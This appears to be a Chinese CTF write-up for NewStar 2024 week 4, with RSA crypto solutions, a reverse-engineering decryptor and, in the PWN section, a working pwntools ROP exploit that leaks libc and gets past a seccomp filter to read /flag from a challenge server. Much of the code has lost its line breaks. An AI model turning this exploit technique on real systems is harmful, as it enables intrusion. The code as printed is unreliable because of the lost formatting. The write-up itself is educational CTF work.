[NewStar 2024] week4

Crypto

欧拉欧拉

这题给了很诡异的素数生成方式。p和q异或后基本是一串1,这个差是-3

flag = b'flag{*********}'
m = bytes_to_long(flag)def get_prime(bits):while True:p = getPrime(bits)x = (1 << bits) - 1 ^ pfor i in range(-10, 11):if isPrime(x + i):return p, x + i, ip, q, i = get_prime(512)
n = p * q
e = 65537
c = pow(m, e, n)print("c =", c)
print("n =", n)
print("i =", i)
'''
c = 14859652090105683079145454585893160422247900801288656111826569181159038438427898859238993694117308678150258749913747829849091269373672489350727536945889312021893859587868138786640133976196803958879602927438349289325983895357127086714561807181967380062187404628829595784290171905916316214021661729616120643997
n = 18104347461003907895610914021247683508445228187648940019610703551961828343286923443588324205257353157349226965840638901792059481287140055747874675375786201782262247550663098932351593199099796736521757473187142907551498526346132033381442243277945568526912391580431142769526917165011590824127172120180838162091
i = -3
'''

所以p+q = (1<<512)-4

#(q+3)^p = (1<<512)-1
from Crypto.Util.number import *p_q = (1<<512)-4
phi = n-p_q+1
long_to_bytes(int(pow(c,inverse_mod(65537,phi),n)))#flag{y0u_really_kn0w_the_phi}

 

圣石匕首

给了一个很复杂的程序,没看懂,不过运行一下就出结果。

俱以我之名

这里边给了一个All_in_my_name这个模,y是x对它的逆。

所以这里给了y和模。

from Crypto.Util.number import *
from gmpy2 import *
import randomdef pad(msg, nbits):pad_length = nbits - len(msg) * 8 - 8assert pad_length >= 0pad = random.getrandbits(pad_length).to_bytes((pad_length + 7) // 8, "big")padded_msg = pad[:len(pad)//2] + b"\x00" + msg + pad[len(pad)//2:]return padded_msgdef All_in_my_name(p, q):#开启三技能<俱以我之名>后,维娜立即在周围八格可部署地面召唤“黄金盟誓(Golden_Oath)”;对RSA造成真实伤害。Golden_Oath = (p-114)*(p-514)*(p+114)*(p+514)*(q-1919)*(q-810)*(q+1919)*(q+810)x = bytes_to_long(pad(gift, random.randint(bytes_to_long(gift).bit_length(), 512)))y = inverse(x, Golden_Oath)return yflag = b'flag{?????}'
gift = b'?????'
assert gift[:3] == b'end'p = getPrime(512)
q = getPrime(512)
n = p*q
e = 65537
c = pow(bytes_to_long(flag), e,n)print(f'n = {n}')
print(f'c = {c}')
print(f'All_in_my_name = {All_in_my_name(p, q)}')'''
n = 141425071303405369267688583480971314815032581405819618511016190023245950842423565456025578726768996255928405749476366742320062773129810617755239412667111588691998380868379955660483185372558973059599254495581547016729479937763213364591413126146102483671385285672028642742654014426993054793378204517214486744679
c = 104575090683421063990494118954150936075812576661759942057772865980855195301985579098801745928083817885393369435101522784385677092942324668770336932487623099755265641877712097977929937088259347596039326198580193524065645826424819334664869152049049342316256537440449958526473368110002271943046726966122355888321
All_in_my_name = 217574365691698773158073738993996550494156171844278669077189161825491226238745356969468902038533922854535578070710976002278064001201980326028443347187697136216041235312192490502479015081704814370278142850634739391445817028960623318683701439854891399013393469200033510113406165952272497324443526299141544564964545937461632903355647411273477731555390580525472533399606416576667193890128726061970653201509841276177937053500663438053151477018183074107182442711656306515049473061426018576304621373895497210927151796054531814746265988174146635716820986208719319296233956243559891444122410388128465897348458862921336261068868678669349968117097659195490792407141240846445006330031546721426459458395606505793093432806236790060342049066284307119546018491926250151057087562126580602631912562103705681810139118673506298916800665912859765635644796622382867334481599049728329203920912683317422430015635091565073203588723830512169316991557606976424732212785533550238950903858852917097354055547392337744369560947616517041907362337902584102983344969307971888314998036201926257375424706901999793914432814775462333942995267009264203787170147555384279151485485660683109778282239772043598128219664150933315760352868905799949049880756509591090387073778041
'''

可以得到一个式子:x*y = k* Golden_Oath ≈ k*N^4 ,所以可以用连分式法y/N^4 来求k和x,求出k以后就能求出Golden_Oath

y = All_in_my_name
#xy = k*G ≈ k*N^4  通过连分式求解
f = continued_fraction(Integer(n^4) / Integer(y))
for i in range(1,300):x = f.numerator(i)k = f.denominator(i)v = long_to_bytes(int(x))if b'\0end' in v:print(v,k,x)break#b'5`\xf4\xf6t\xa3\x00end1n9_A_G2@nd_Ov3RTu2e\x1c\x13"H\x0f\xc9' 56398712132783063027132828918468670442692437484816382768162819797891220782528221182512 103697213497220650500739251621743955651854455782387759691953279488676501281257640431561
G = (x*y-1)//k

然后得到两个式子,一个是G这个,另一个是p*q==n,通过消元求出p,q的大概值,再cooper求p

#通过有理数域水消元后求出大概值, 
PR.<p,q> = PolynomialRing(QQ)
f1 = (p-114)*(p-514)*(p+114)*(p+514)*(q-1919)*(q-810)*(q+1919)*(q+810) -G
f2 = p*q - n 
h = f1.sylvester_matrix(f2, q).det()
res = h.change_ring(RealField(1024)).univariate_polynomial().monic().roots()
for i in res:p = abs(int(i[0]))if n%p == 0:print(p)breaklong_to_bytes(int(pow(c,inverse_mod(65537,p-1),p)))
#b'flag{rE@L_d@m@9e_15_7h3_mo5t_au7hEn7ic_dam49E}'

PWN

ReRead

这里有个明显的溢出,不过限制了只能用open,write并且read只能是0。

先作个移栈,然后用把0 close再打开文件就使用0,然后write

from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
elf = ELF('./pwn')pop_rdi = 0x00000000004013e3 # pop rdi ; ret
base = 0x404800#p = process('./pwn')
#gdb.attach(p, "b*0x4013cf\nc")
p = remote('8.147.132.32', 16814)pop_rbp = 0x000000000040117d # pop rbp ; ret
pop_rdi = 0x0000000000401473 # pop rdi ; ret
pop_rsi = 0x0000000000401471 # pop rsi ; pop r15 ; ret
leave_ret = 0x4013cf
base = 0x404800p.sendafter(b'\x9f\x98\x8b\n', b'A'*0x40 + flat(base, 0x4013ac))p.sendafter(b'done!\n',flat(pop_rdi, elf.got['puts'], elf.plt['puts'], pop_rbp,base+0x100,0x4013ac,0,0, base-0x40-8, leave_ret))
libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\0')) - libc.sym['puts']
print(f"{libc.address = :x}")pop_rax = libc.address + 0x0000000000036174 # pop rax ; ret
pop_rsi = libc.address + 0x000000000002601f # pop rsi ; ret
pop_rdx = libc.address + 0x0000000000119431 # pop rdx ; pop r12 ; ret
syscall = libc.sym['getpid'] + 9
p.send(flat(pop_rdi, 0, pop_rsi, base+0x100 ,pop_rdx, 0x400,b'/flag\0\0\0',libc.sym['read'], base+0x100-0x40-8, leave_ret))p.send(flat([pop_rdi, 0, pop_rax,3, syscall, #close(0)pop_rdi, base+0x100-0x10, pop_rsi,0,pop_rax, 2, syscall,  #openpop_rdi, 0, pop_rsi, base-0x100, pop_rdx, 0x50,0, pop_rax, 0, syscall, #readpop_rdi, 1, pop_rax, 1, syscall
]))p.interactive()#open,read(0,),write
'''line  CODE  JT   JF      K
=================================0000: 0x20 0x00 0x00 0x00000004  A = arch0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 00100002: 0x20 0x00 0x00 0x00000000  A = sys_number0003: 0x35 0x06 0x00 0x40000000  if (A >= 0x40000000) goto 00100004: 0x15 0x03 0x00 0x00000000  if (A == read) goto 00080005: 0x15 0x05 0x00 0x00000001  if (A == write) goto 00110006: 0x15 0x04 0x00 0x00000002  if (A == open) goto 00110007: 0x15 0x03 0x00 0x00000021  if (A == dup2) goto 00110008: 0x20 0x00 0x00 0x00000010  A = args[0]0009: 0x15 0x01 0x00 0x00000000  if (A == 0x0) goto 00110010: 0x06 0x00 0x00 0x00000000  return KILL0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
'''

Maze_Rust

作完几天了,忘了,略

Sign in

MakeHero

REV

easygui

enc = [-33,-57,77,20,-63,-20,8,-28,95,63,3,-76,-112,74,-71,-113,-113,-6,113,67,-57,-15,-99,-35,79,-64,18,68,92,-99,-120,54,45,22,29,-19,-68,-17,-69,91,-97,119,-21,88]
enc = [i&0xff for i in enc]
dic = [0x31, 0x74, 0x54, 0x20, 0x03, 0x53, 0x78, 0x70, 0x3A, 0x35, 0x65, 0x42, 0x04, 0x6B, 0x1F, 0x43] + [0x06, 0x37, 0x00, 0x76, 0x21, 0x08, 0x0B, 0x13, 0x52, 0x4B, 0x2F, 0x1A, 0x59, 0x2C, 0x56, 0x51]+ [0x7F, 0x3B, 0x0E, 0x05, 0x26, 0x15, 0x25, 0x63, 0x64, 0x7A, 0x3C, 0x29, 0x41, 0x2A, 0x12, 0x17]+[0x2E, 0x39, 0x57, 0x3D, 0x66, 0x33, 0x44, 0x6C, 0x6F, 0x47, 0x16, 0x71, 0x5F, 0x1C, 0x14, 0x5A]+[0x0C, 0x4F, 0x01, 0x30, 0x1B, 0x68, 0x0F, 0x62, 0x3F, 0x18, 0x69, 0x6D, 0x7E, 0x5D, 0x6A, 0x28]+[0x22, 0x5B, 0x55, 0x72, 0x09, 0x5E, 0x02, 0x3E, 0x50, 0x7B, 0x46, 0x45, 0x38, 0x10, 0x48, 0x79]+[0x60, 0x36, 0x61, 0x6E, 0x2D, 0x49, 0x7C, 0x2B, 0x34, 0x27, 0x11, 0x7D, 0x0D, 0x0A, 0x77, 0x73]+[0x58, 0x5C, 0x4C, 0x32, 0x4D, 0x1E, 0x24, 0x40, 0x67, 0x4A, 0x4E, 0x1D, 0x07, 0x75, 0x19, 0x23]hexenc = ''.join([hex(i)[2:].zfill(2) for i in enc])
#'dfc74d14c1ec08e45f3f03b4904ab98f8ffa7143c7f19ddd4fc012445c9d88362d161dedbcefbb5b9f77eb58'
#1,查表
#3,RC4
v31 = (b"easy_GUI"*33)[:256]
v29 = list(range(256))
j = 0 
for i in range(256):j = (v29[i]+v31[i]+j)%256v29[i],v29[j] = v29[j],v29[i]j = 0
k = 0
stream = []
for i in range(44):j = (j+1)%256k = (k+v29[j])%256v29[j],v29[k] = v29[k],v29[j]stream.append(v29[(v29[k]+v29[j])%256])dec = [enc[i]^stream[i] for i in range(44)]#2,循环右移3位->左
s = ''.join([bin(i)[2:].zfill(8) for i in dec])
b = []
for i in range(0, len(s), 32):v = s[i:i+32]v = v[3:]+v[:3]b += [int(v[j:j+8],2) for j in range(0,32,8)]#查表
m = [dic.index(i) for i in b]
print(bytes(m))
#flag{GU!_r3v3R5e_3nG1n3er1ng_i5_v3ry_s1mpl3}

PlzDebugMe

ezrust

MazE

洞OVO

感觉这周还可以,没大意思,好些找不着当时怎么作的了。中间有事不在,作了一晚上作完后再回来好像啥都没有了。先记这么多。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/58146.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

logdata-anomaly-miner:一款安全日志解析与异常检测工具

关于logdata-anomaly-miner logdata-anomaly-miner是一款安全日志解析与异常检测工具&#xff0c;该工具旨在以有限的资源和尽可能低的权限运行分析&#xff0c;以使其适合生产服务器使用。 为了确保 logdata-anomaly-miner的正常运行&#xff0c;推荐安装了python > 3.6的…

【Vue】word / excel / ppt / pdf / 视频(mp4,mov) 预览

文件预览 Vue3一. word二. excel三. ppt四. pdf4.1 vue-pdf-embed4.2 iframe 五. 视频六&#xff1a;扩展——kkFileView Vue3 一. word 安装&#xff1a;npm install docx-preview父页面 <template><div><DocPreviewv-if"filePath.includes(docx)"…

react 总结+复习+应用加深

文章目录 一、React生命周期1. 挂载阶段&#xff08;Mounting&#xff09;补充2. 更新阶段&#xff08;Updating&#xff09;补充 static getDerivedStateFromProps 更新阶段应用补充 getSnapshotBeforeUpdate3. 卸载阶段&#xff08;Unmounting&#xff09; 二、React组件间的…

基于.NET 8.0,C#中Microsoft.Office.Interop.Excel来操作office365的excel

开发环境&#xff1a; Visual Studio 2022 office365 项目模板&#xff1a;WPF应用程序 框架&#xff1a;.NET 8.0 依赖&#xff1a;Microsoft.Office.Interop.Excel 注意&#xff1a; 1.使用Microsoft.Office.Interop.Excel库时&#xff0c;服务器或电脑里面必须安装得…

NLP--一起学习Word Vector【实践】

纸上得来终觉浅&#xff0c;绝知此事要躬行。 《冬夜读书示子聿》 值此1024的程序员节&#xff0c;我们一起学习 Word Vector。 本章一起学习文本向量化&#xff0c;掌握文本向量的相关概念&#xff0c;了解各个文本向量&#xff0c;实现文本向量的算法 我开启了一个NLP共学坊…

Pytest 插件的种类

引言 Pytest是一个功能强大且扩展性强的测试框架&#xff0c;支持丰富的插件体系。通过插件&#xff0c;Pytest的功能可以得到极大扩展&#xff0c;满足各种测试需求。本文将介绍几类常用的Pytest插件&#xff0c;并简要说明其功能和使用场景。 Pytest 插件的分类 报告和输出…

代码+编译环境一并保存Git仓库,Jenkins使用docker编译

大家好&#xff0c;欢迎来到停止重构的频道。 上期介绍了Jenkins的基本用法&#xff0c;本期补充介绍Jenkins使用docker进行软件编译。 如果对docker不太熟悉&#xff0c;可以先翻看往期《docker详解》。 我们按这样的顺序展开讨论&#xff1a; 1、为什么使用docker编译软件…

网址访问小工具(模拟浏览器)

网址访问小工具&#xff08;模拟浏览器&#xff09; 文章说明核心代码运行截图源码下载 文章说明 本篇文章主要是我写的一个小demo&#xff0c;感觉效果还蛮不错的&#xff0c;作为一个记录新想法的实现思路&#xff1b;介绍了模拟浏览器页面的一些页面实现的小细节。 采用vue3…

文理学院数据库应用技术实验报告0

文理学院数据库应用技术实验报告0 实验内容 打开cmd,利用MySQL命令连接MySQL服务器。 mysql -u root -p查看当前MySQL服务实例使用的字符集(character)。 SHOW VARIABLES LIKE character_set_server;查看当前MySQL服务实例支持的字符序(collation)。 SHOW VARIABLES LIKE c…

ReactOS系统中平衡二叉树按从左到右的顺序找到下一个结点

ReactOS系统中平衡二叉树按从左到右的顺序找到下一个结点MmIterateNextNode()按从左到右的顺序找到下一个结点 文章目录 ReactOS系统中平衡二叉树按从左到右的顺序找到下一个结点MmIterateNextNode()按从左到右的顺序找到下一个结点MmIterateNextNode() MmIterateNextNode() /*…

解锁知识潜力:十款企业培训知识库全面解析

在当今这个快速变化的时代&#xff0c;企业要想保持竞争力&#xff0c;就必须不断提升员工的技能和知识水平。知识库作为企业培训的重要工具&#xff0c;不仅能够帮助员工快速获取所需信息&#xff0c;还能促进知识的共享和创新。 1. HelpLook AI知识库 亮点功能&#xff1a;…

React第十一章(useReducer)

useReducer useReducer是React提供的一个高级Hook,没有它我们也可以正常开发&#xff0c;但是useReducer可以使我们的代码具有更好的可读性&#xff0c;可维护性。 useReducer 跟 useState 一样的都是帮我们管理组件的状态的&#xff0c;但是呢与useState不同的是 useReducer…

python基础综合案例(数据可视化-动态柱状图)

1.基础柱状图的构建 打开浏览器&#xff0c;你会发现这是一个动态图&#xff0c;会随着时间变化而变化 具体效果大家可以看我主页有个动态柱状图视频 本质上来说&#xff0c;是和我们构建一个折线统计图差不多的&#xff0c;只是把对象换了一下 如果我们需要反转x和y轴&#…

从SQL到NoSQL:数据库类型及应用场景

在当今数据驱动的时代&#xff0c;数据库技术已经成为了支撑各类应用的核心。在讨论数据库类型时&#xff0c;SQL数据库与NoSQL数据库无疑是最常被提及的两种主流选择。 一、SQL数据库&#xff08;关系型数据库&#xff09; SQL数据库&#xff0c;通常也被称为关系型数据库&am…

YOLOv8实战野生动物识别

本文采用YOLOv8作为核心算法框架&#xff0c;结合PyQt5构建用户界面&#xff0c;使用Python3进行开发。YOLOv8以其高效的实时检测能力&#xff0c;在多个目标检测任务中展现出卓越性能。本研究针对野生动物数据集进行训练和优化&#xff0c;该数据集包含丰富的野生动物图像样本…

【动手学强化学习】part6-策略梯度算法

阐述、总结【动手学强化学习】章节内容的学习情况&#xff0c;复现并理解代码。 文章目录 一、算法背景1.1 算法目标1.2 存在问题1.3 解决方法 二、REINFORCE算法2.1 必要说明softmax()函数交叉熵策略更新思想 2.2 伪代码算法流程简述 2.3 算法代码2.4 运行结果2.5 算法流程说明…

LSTM(Long Short-Term Memory,长短期记忆网络)在高端局效果如何

lstm 杂乱数据分析 LSTM&#xff08;Long Short-Term Memory&#xff0c;长短期记忆网络&#xff09;在高端局&#xff0c;即复杂的机器学习和深度学习应用中&#xff0c;展现出了其独特的优势和广泛的应用价值。以下是对LSTM在高端局中的详细解析&#xff1a; 一、LSTM的优势…

大语言模型驱动的跨域属性级情感分析——论文阅读笔记

前言 论文PDF下载地址&#xff1a;7156 最近想搜一下基于大语言模型的情感分析论文&#xff0c;搜到了这篇在今年发表的论文&#xff0c;于是简单阅读之后在这里记一下笔记。 如图1所示&#xff0c;在餐厅领域中的"快"是上菜快&#xff0c;属于正面情感&#xff0c;但…

jfif图片怎么改成jpg?几种非常简单的jfif转jpg方法

jfif图片怎么改成jpg&#xff1f;随着图像技术的日新月异&#xff0c;用户在图像的编辑、处理与分享过程中&#xff0c;常常需要根据实际需求&#xff0c;灵活转换图像格式&#xff0c;以适应多样化的应用场景。正是这一需求&#xff0c;催生了将jfif格式向jpg格式转换的广泛实…

一些剪视频需要下载视频、chatTTS文字转语音的相关代码

可以在YouTube下载视频&#xff0c;下载字幕&#xff0c;以及需要文字转音频的一些代码&#xff0c;自己写的&#xff0c;目前也是能实现一点小需求~ 是需要下载FFmpeg、yt-dlp.exe、chrome_cookies插件&#xff0c;需要下载的自行search&#xff0c;不再赘述 人机验证 需要…